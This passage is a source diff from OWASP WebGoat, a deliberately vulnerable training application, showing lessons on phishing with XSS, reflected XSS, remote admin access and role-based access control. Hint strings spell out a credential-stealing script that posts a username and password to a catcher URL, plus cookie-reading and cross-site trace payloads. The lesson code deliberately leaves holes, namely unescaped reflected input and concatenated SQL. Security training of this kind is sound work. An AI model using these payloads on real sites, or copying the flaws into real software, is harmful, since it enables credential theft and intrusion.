t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
ec.addElement(t);
if (!searchText.equals(""))
{
ec.addElement(new BR());
ec.addElement(new HR());
ec.addElement(new BR());
ec.addElement(new StringElement("Results for: " + searchText));
ec.addElement(new Comment("Search results"));
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new B(new StringElement("No results were found.")));
ec.addElement(new Comment("End of Search results"));
}
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>"
+ "Try to make the form look official.");
hints
.add("Try: <BR> "
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints
.add("Add functionality that can post a request, a button might work<BR><BR>"
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
+ "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints
.add("Try: <BR> "
+ "&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot;&gt;"
+ "<BR><BR>Solution for this hint:<BR><BR>"
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints
.add("Make the button perform an action on submit, <BR>"
+ "adding an onclick=\"hack()\" might work<BR>"
+ "Don't forget to add the hack() javascript function"
+ "<BR><BR>Solution for this hint:<BR><BR>"
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints
.add("You need to create the hack() function. This function will pull the credentials from the "
+ "webpage and post them to the WebGoat catcher servlet. <BR>"
+ "<BR> Some useful code snippets:<UL>"
+ "<LI>doucument.forms[0].user.value - will access the user field"
+ "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
+ "<LI>javascript string concatentation uses a \"+\" </UL>"
+ "<BR><BR>Solution for this hint():<BR><BR>"
+ "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}"
+ "&lt;/script&gt;");
hints
.add("Complete solution for this lesson:<BR><BR>"
+ "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}"
+ "&lt;/script&gt;&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"
+ "<BR><BR>You may need to remove the '.' from the http://localhost./");
/**
* password<script>function hack(){ alert("Had this been a real
* attack... Your credentials were just stolen.\nUser Name = " +
* document.forms(0).user.value + "\nPassword = " +
* document.forms(0).pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
* "&password=" + document.forms(0).pass.value + "";}</script><form><br>
* <br>
* <HR>
* <H3>This feature requires account login:</H2>
* <br>
* <br>
* Enter Username:<br>
* <input type="text" id="user" name="user"><br>
* Enter Password:<br>
* <input type="password" name = "pass"><br>
* <input type="submit" name="login" value="login" onclick="hack()"></form><br>
* <br>
* <HR>
* <!--
*
*/
return hints;
}
/**
* Gets the instructions attribute of the XssSearch object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions =
"This lesson is an example of how a website might support a phishing attack<BR><BR>"
+ "Below is an example of a standard search feature.<br>"
+ "Using XSS and HTML insertion, your goal is to: <UL>"
+ "<LI>Insert html to that requests credentials"
+ "<LI>Add javascript to actually collect the credentials"
+ "<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> "
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the title attribute of the CluesScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Phishing with XSS");
}
}

57
main/project/JavaSource/org/owasp/webgoat/lessons/RandomLessonAdapter.java Executable file
View File

@ -0,0 +1,57 @@
package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.RandomLessonTracker;
import org.owasp.webgoat.session.WebSession;
public abstract class RandomLessonAdapter extends LessonAdapter {
public abstract String[] getStages();
public void setStage(WebSession s, String stage) {
getLessonTracker(s).setStage(stage);
}
public String getStage(WebSession s) {
return getLessonTracker(s).getStage();
}
public void setStageComplete(WebSession s, String stage) {
RandomLessonTracker lt = getLessonTracker(s);
lt.setStageComplete(stage, true);
if (lt.getCompleted()) {
s.setMessage("Congratulations, you have completed this lab");
} else {
s.setMessage("You have completed " + stage + ".");
if (! stage.equals(lt.getStage()))
s.setMessage(" Welcome to " + lt.getStage());
}
}
public boolean isStageComplete(WebSession s, String stage) {
return getLessonTracker(s).hasCompleted(stage);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s) {
return (RandomLessonTracker) super.getLessonTracker(s);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) {
return (RandomLessonTracker) super.getLessonTracker(s, lesson);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride) {
return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride);
}
@Override
public LessonTracker createLessonTracker() {
return new RandomLessonTracker(getStages());
}
}

294
main/project/JavaSource/org/owasp/webgoat/lessons/ReflectedXSS.java Normal file
View File

@ -0,0 +1,294 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class ReflectedXSS extends LessonAdapter
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1
if (!pattern1.matcher(param1).matches())
{
if (param1.toLowerCase().indexOf("script") != -1)
{
makeSuccess(s);
}
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("Can you get the script to disclose the JSESSIONID cookie?");
hints
.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
hints
.add("Can you get the script to access the credit card form field?");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return "Reflected XSS Attacks";
}
}

115
main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java Normal file
View File

@ -0,0 +1,115 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class RemoteAdminFlaw extends LessonAdapter
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
if (s.completedHackableAdmin())
{
makeSuccess(s);
}
else
{
ec.addElement("WebGoat has an admin interface. To 'complete' this lesson you must figure "
+ "out how to access the administrative interface for WebGoat.");
}
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(160);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Remote Admin Access");
}
}

179
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java Normal file
View File

@ -0,0 +1,179 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class DeleteProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (isAuthenticated(s))
{
deleteEmployeeProfile(s, userId, employeeId);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
updateLessonStatus(s);
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId,
int employeeId) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to be here, stage 1 is complete.
if (RoleBasedAccessControl.STAGE1.equals(getStage(s)))
try
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
if (!isAuthorized(s, userId,
RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, RoleBasedAccessControl.STAGE1);
}
}
catch (ParameterNotFoundException e)
{}
}
}

198
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java Normal file
View File

@ -0,0 +1,198 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

444
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java Normal file
View File

@ -0,0 +1,444 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Login;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout;
import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class RoleBasedAccessControl extends GoatHillsFinancial
{
private final static Integer DEFAULT_RANKING = new Integer(125);
public final static String STAGE1 = "Bypass Business Layer Access Control";
public final static String STAGE2 = "Add Business Layer Access Control";
public final static String STAGE3 = "Bypass Data Layer Access Control";
